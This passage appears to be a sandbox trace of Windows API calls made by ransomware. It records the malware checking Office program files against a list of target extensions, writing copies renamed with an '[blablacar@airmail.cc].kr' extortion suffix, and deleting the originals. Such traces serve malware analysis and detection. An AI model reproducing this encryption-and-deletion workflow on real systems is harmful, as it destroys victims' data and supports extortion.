Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0183.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0183.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0183.947] lstrlenW (lpString=".doc") returned 4 [0183.947] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.947] lstrlenW (lpString=".docx") returned 5 [0183.947] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.947] lstrlenW (lpString=".pdf") returned 4 [0183.947] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.947] lstrlenW (lpString=".xls") returned 4 [0183.947] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.947] lstrlenW (lpString=".xlsx") returned 5 [0183.947] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.947] lstrlenW (lpString=".ppt") returned 4 [0183.947] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0183.948] lstrlenW (lpString=".zip") returned 4 [0183.948] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.948] lstrlenW (lpString=".rar") returned 4 [0183.948] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.948] lstrlenW (lpString=".bz2") returned 4 [0183.948] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.948] lstrlenW (lpString=".7z") returned 3 [0183.948] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0183.948] lstrlenW (lpString=".dbf") returned 4 [0183.948] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0183.948] lstrlenW (lpString=".1cd") returned 4 [0183.948] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0183.948] lstrlenW (lpString=".jpg") returned 4 [0183.948] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0183.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0183.948] lstrlenW (lpString=".doc") returned 4 [0183.948] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.948] lstrlenW (lpString=".docx") returned 5 [0183.948] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.948] lstrlenW (lpString=".pdf") returned 4 [0183.948] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.948] lstrlenW (lpString=".xls") returned 4 [0183.948] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.948] lstrlenW (lpString=".xlsx") returned 5 [0183.948] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.948] lstrlenW (lpString=".ppt") returned 4 [0183.948] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0183.949] lstrlenW (lpString=".zip") returned 4 [0183.949] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.949] lstrlenW (lpString=".rar") returned 4 [0183.949] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.949] lstrlenW (lpString=".bz2") returned 4 [0183.949] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.949] lstrlenW (lpString=".7z") returned 3 [0183.949] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0183.949] lstrlenW (lpString=".dbf") returned 4 [0183.949] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0183.949] lstrlenW (lpString=".1cd") returned 4 [0183.949] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0183.949] lstrlenW (lpString=".jpg") returned 4 [0183.949] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.949] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.949] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0183.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.950] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=22720) returned 1 [0183.950] CloseHandle (hObject=0x4d8) returned 1 [0183.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0183.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0183.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0183.951] lstrlenW (lpString=".doc") returned 4 [0183.951] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.951] lstrlenW (lpString=".docx") returned 5 [0183.951] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.951] lstrlenW (lpString=".pdf") returned 4 [0183.951] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.951] lstrlenW (lpString=".xls") returned 4 [0183.951] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.951] lstrlenW (lpString=".xlsx") returned 5 [0183.951] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.951] lstrlenW (lpString=".ppt") returned 4 [0183.951] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0183.951] lstrlenW (lpString=".zip") returned 4 [0183.951] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.951] lstrlenW (lpString=".rar") returned 4 [0183.951] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.951] lstrlenW (lpString=".bz2") returned 4 [0183.951] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.951] lstrlenW (lpString=".7z") returned 3 [0183.951] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0183.951] lstrlenW (lpString=".dbf") returned 4 [0183.951] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0183.951] lstrlenW (lpString=".1cd") returned 4 [0183.951] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0183.951] lstrlenW (lpString=".jpg") returned 4 [0183.951] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0183.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0183.952] lstrlenW (lpString=".doc") returned 4 [0183.952] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.952] lstrlenW (lpString=".docx") returned 5 [0183.952] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.952] lstrlenW (lpString=".pdf") returned 4 [0183.952] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.952] lstrlenW (lpString=".xls") returned 4 [0183.952] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.952] lstrlenW (lpString=".xlsx") returned 5 [0183.952] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.952] lstrlenW (lpString=".ppt") returned 4 [0183.952] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0183.952] lstrlenW (lpString=".zip") returned 4 [0183.952] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.952] lstrlenW (lpString=".rar") returned 4 [0183.952] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.952] lstrlenW (lpString=".bz2") returned 4 [0183.952] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.952] lstrlenW (lpString=".7z") returned 3 [0183.952] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0183.952] lstrlenW (lpString=".dbf") returned 4 [0183.952] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0183.952] lstrlenW (lpString=".1cd") returned 4 [0183.952] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0183.952] lstrlenW (lpString=".jpg") returned 4 [0183.952] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.953] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.953] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0183.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.954] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19136) returned 1 [0183.954] CloseHandle (hObject=0x4d8) returned 1 [0183.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0183.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0183.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0183.954] lstrlenW (lpString=".doc") returned 4 [0183.954] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.954] lstrlenW (lpString=".docx") returned 5 [0183.954] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.954] lstrlenW (lpString=".pdf") returned 4 [0183.954] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.954] lstrlenW (lpString=".xls") returned 4 [0183.954] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.954] lstrlenW (lpString=".xlsx") returned 5 [0183.954] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.954] lstrlenW (lpString=".ppt") returned 4 [0183.954] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0183.954] lstrlenW (lpString=".zip") returned 4 [0183.954] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.955] lstrlenW (lpString=".rar") returned 4 [0183.955] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.955] lstrlenW (lpString=".bz2") returned 4 [0183.955] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.955] lstrlenW (lpString=".7z") returned 3 [0183.955] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0183.955] lstrlenW (lpString=".dbf") returned 4 [0183.955] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0183.955] lstrlenW (lpString=".1cd") returned 4 [0183.955] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0183.955] lstrlenW (lpString=".jpg") returned 4 [0183.955] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0183.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0183.955] lstrlenW (lpString=".doc") returned 4 [0183.955] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.955] lstrlenW (lpString=".docx") returned 5 [0183.955] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.955] lstrlenW (lpString=".pdf") returned 4 [0183.955] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.955] lstrlenW (lpString=".xls") returned 4 [0183.955] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.955] lstrlenW (lpString=".xlsx") returned 5 [0183.955] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.955] lstrlenW (lpString=".ppt") returned 4 [0183.955] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0183.955] lstrlenW (lpString=".zip") returned 4 [0183.955] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.955] lstrlenW (lpString=".rar") returned 4 [0183.956] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.956] lstrlenW (lpString=".bz2") returned 4 [0183.956] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.956] lstrlenW (lpString=".7z") returned 3 [0183.956] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0183.956] lstrlenW (lpString=".dbf") returned 4 [0183.956] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0183.956] lstrlenW (lpString=".1cd") returned 4 [0183.956] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0183.956] lstrlenW (lpString=".jpg") returned 4 [0183.956] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.956] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.956] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0183.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.957] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20672) returned 1 [0183.957] CloseHandle (hObject=0x4d8) returned 1 [0183.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0183.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0183.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0183.957] lstrlenW (lpString=".doc") returned 4 [0183.957] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.957] lstrlenW (lpString=".docx") returned 5 [0183.957] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.957] lstrlenW (lpString=".pdf") returned 4 [0183.957] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.957] lstrlenW (lpString=".xls") returned 4 [0183.957] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.957] lstrlenW (lpString=".xlsx") returned 5 [0183.957] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.957] lstrlenW (lpString=".ppt") returned 4 [0183.957] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0183.957] lstrlenW (lpString=".zip") returned 4 [0183.957] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.957] lstrlenW (lpString=".rar") returned 4 [0183.958] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.958] lstrlenW (lpString=".bz2") returned 4 [0183.958] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.958] lstrlenW (lpString=".7z") returned 3 [0183.958] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0183.958] lstrlenW (lpString=".dbf") returned 4 [0183.958] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0184.747] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.747] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0184.748] GetLastError () returned 0x0 [0184.748] ReadFile (in: hFile=0x51c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x246a, lpOverlapped=0x0) returned 1 [0184.750] WriteFile (in: hFile=0x4d8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2470, lpOverlapped=0x0) returned 1 [0184.751] ReadFile (in: hFile=0x51c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.752] WriteFile (in: hFile=0x4d8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0184.752] SetEndOfFile (hFile=0x4d8) returned 1 [0184.752] CloseHandle (hObject=0x4d8) returned 1 [0184.752] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.752] SetEndOfFile (hFile=0x51c) returned 1 [0184.754] CloseHandle (hObject=0x51c) returned 1 [0184.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0184.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0184.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0184.755] lstrlenW (lpString=".doc") returned 4 [0184.755] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.755] lstrlenW (lpString=".docx") returned 5 [0184.755] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.755] lstrlenW (lpString=".pdf") returned 4 [0184.755] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.756] lstrlenW (lpString=".xls") returned 4 [0184.756] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.756] lstrlenW (lpString=".xlsx") returned 5 [0184.756] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.756] lstrlenW (lpString=".ppt") returned 4 [0184.756] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0184.756] lstrlenW (lpString=".zip") returned 4 [0184.756] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.756] lstrlenW (lpString=".rar") returned 4 [0184.756] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.756] lstrlenW (lpString=".bz2") returned 4 [0184.756] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.756] lstrlenW (lpString=".7z") returned 3 [0184.756] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0184.756] lstrlenW (lpString=".dbf") returned 4 [0184.756] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0184.756] lstrlenW (lpString=".1cd") returned 4 [0184.756] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0184.756] lstrlenW (lpString=".jpg") returned 4 [0184.756] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0184.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0184.756] lstrlenW (lpString=".doc") returned 4 [0184.756] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.756] lstrlenW (lpString=".docx") returned 5 [0184.756] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.756] lstrlenW (lpString=".pdf") returned 4 [0184.756] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.757] lstrlenW (lpString=".xls") returned 4 [0184.757] lstrcmpiW (lpString1=".xls", 